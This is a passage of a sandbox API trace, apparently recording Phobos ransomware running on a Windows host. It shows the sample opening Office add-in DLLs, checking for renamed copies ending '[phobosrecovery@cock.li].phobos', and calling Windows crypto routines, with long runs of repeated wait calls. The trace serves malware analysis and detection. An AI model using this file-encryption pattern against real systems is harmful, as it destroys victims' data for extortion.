Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.026] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0156.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Data.Edm.NetFX35.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.data.edm.netfx35.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0156.116] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=657592) returned 1 [0156.116] CloseHandle (hObject=0x368) returned 1 [0156.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Data.Edm.NetFX35.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.data.edm.netfx35.dll")) returned 0x220 [0156.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Data.Edm.NetFX35.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.data.edm.netfx35.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0156.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Data.Edm.NetFX35.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\microsoft.data.edm.netfx35.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.116] CryptImportKey (in: hProv=0x8067b0, pbData=0x3fdfaf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fdfb58 | out: phKey=0x3fdfb58*=0x8951f8) returned 1 [0156.116] CryptSetKeyParam (hKey=0x8951f8, dwParam=0x1, pbData=0x3fdfb40, dwFlags=0x0) returned 1 [0156.116] CryptDecrypt (in: hKey=0x8951f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac008, pdwDataLen=0x3fdfb0c | out: pbData=0x23ac008, pdwDataLen=0x3fdfb0c) returned 1 [0156.116] CryptDestroyKey (hKey=0x8951f8) returned 1 [0156.117] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0156.117] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75c06b50 [0156.117] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0156.117] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac008 | out: hHeap=0x23a0000) returned 1 Thread: id = 80 os_tid = 0xf4c [0147.316] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x36f40b8 [0147.317] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x44b0048 [0147.318] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23ac008 [0147.318] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x110102) returned 0x46bc020 [0147.321] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x50) returned 0x23ac038 [0147.321] CryptImportKey (in: hProv=0x8067b0, pbData=0x411f9d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x411fa40 | out: phKey=0x411fa40*=0x836ca0) returned 1 [0147.321] CryptSetKeyParam (hKey=0x836ca0, dwParam=0x1, pbData=0x411fa28, dwFlags=0x0) returned 1 [0147.321] CryptDecrypt (in: hKey=0x836ca0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac038, pdwDataLen=0x411f9f4 | out: pbData=0x23ac038, pdwDataLen=0x411f9f4) returned 1 [0147.321] CryptDestroyKey (hKey=0x836ca0) returned 1 [0147.321] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0147.321] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0147.321] Wow64DisableWow64FsRedirection (in: OldValue=0x411fa8c | out: OldValue=0x411fa8c*=0x0) returned 1 [0147.321] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac038 | out: hHeap=0x23a0000) returned 1 [0147.321] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.321] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.322] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.323] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.323] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.325] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.325] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.325] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.325] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.325] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.325] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.326] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.326] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.326] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.326] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.326] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.326] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.326] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.326] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.327] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.327] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.328] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.328] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.328] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.328] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.328] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.328] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.328] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.328] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.329] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.330] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.331] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.332] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.333] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.334] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.334] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.334] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.334] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.334] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.334] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.335] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.335] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.335] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.335] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.336] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.336] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.336] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.336] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.336] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.336] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.336] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.337] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.338] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.339] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.340] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.341] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.342] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.343] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.344] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.344] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.344] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.344] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.344] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.344] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.344] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.345] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.345] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.345] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.345] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.345] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.345] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.346] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.347] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.348] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.349] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.349] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.349] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.349] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.349] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.349] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.498] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, 